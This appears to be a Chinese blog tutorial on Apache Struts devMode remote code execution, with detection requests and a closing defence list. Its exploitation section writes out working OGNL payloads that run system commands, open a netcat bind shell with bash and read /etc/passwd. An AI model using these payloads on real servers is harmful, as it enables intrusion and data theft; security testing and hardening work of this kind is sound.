Apache Struts框架远程代码执行问题分析与应对指南

Apache Struts框架远程代码执行问题分析与应对指南

Penetration-Testing-Tools A collection of more than 170+ tools, scripts, cheatsheets and other loots that I've developed over years for Red Teaming/Pentesting/IT Security audits purposes. Penetration-Testing-Tools 项目地址: https://gitcode.com/gh_mirrors/pe/Penetration-Testing-Tools

前言

Apache Struts是一个基于JavaEE的开源Web应用框架,采用MVC架构模式。在安全测试过程中,Struts框架的devMode配置不当可能导致严重的远程代码执行(RCE)问题。本文将深入分析该问题的原理、检测方法和应对技巧。

问题原理

当Struts框架配置文件中设置了struts.devMode=true时,框架会处理传递给每个函数调用的额外参数。这个开发模式本意是方便调试,但错误地将其保留在生产环境中会带来严重安全隐患。

<constant name="struts.devMode" value="true" />

检测devMode是否启用

检测方法

  1. 寻找示例应用:Struts通常会附带一些示例应用程序,这些应用是检测的理想目标

  2. 发送测试请求:向目标应用发送包含特殊参数的请求,观察响应

  3. 常用测试参数

    • debug=command
    • debug=xml
    • debug=console
    • debug=browser

常见示例应用路径

Struts 1.x常见示例:

  • struts-blank
  • struts-examples
  • struts-mailreader

Struts 2.x常见示例:

  • struts2-blank
  • struts2-showcase
  • struts2-rest-showcase

测试请求示例

http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1

如果响应中包含计算结果"2",则确认devMode已启用且存在RCE问题。

问题应对

基本命令处理

利用expression参数可以执行任意Java代码:

?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()

此payload会执行uname -a命令并返回第一行输出。

高级应对技巧

1. 系统连接

使用String数组传递复杂命令参数:

?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()

此payload会在目标服务器上开启4444端口监听,等待连接。

2. 文件操作

读取服务器文件:

?debug=command&expression=new java.io.BufferedReader(new java.io.FileReader('/etc/passwd')).readLine()
3. 多命令处理

使用分号分隔多个命令:

?debug=command&expression=new java.lang.ProcessBuilder('sh','-c','id;uname -a;ifconfig').start()

防御建议

  1. 禁用devMode:生产环境中确保struts.devMode=false

  2. 移除示例应用:部署前删除所有示例和测试应用

  3. 输入验证:对所有用户输入进行严格验证

  4. 最小权限原则:运行Struts应用的用户应具有最小必要权限

  5. 及时更新:保持Struts框架版本为最新

总结

Apache Struts的devMode配置不当会导致严重的远程代码执行问题。安全人员可以通过本文介绍的方法检测和验证该问题,而开发人员则应遵循安全最佳实践来避免此类风险。理解问题原理和应对方式对于构建安全的Web应用至关重要。

Penetration-Testing-Tools A collection of more than 170+ tools, scripts, cheatsheets and other loots that I've developed over years for Red Teaming/Pentesting/IT Security audits purposes. Penetration-Testing-Tools 项目地址: https://gitcode.com/gh_mirrors/pe/Penetration-Testing-Tools

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

潘轲利

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值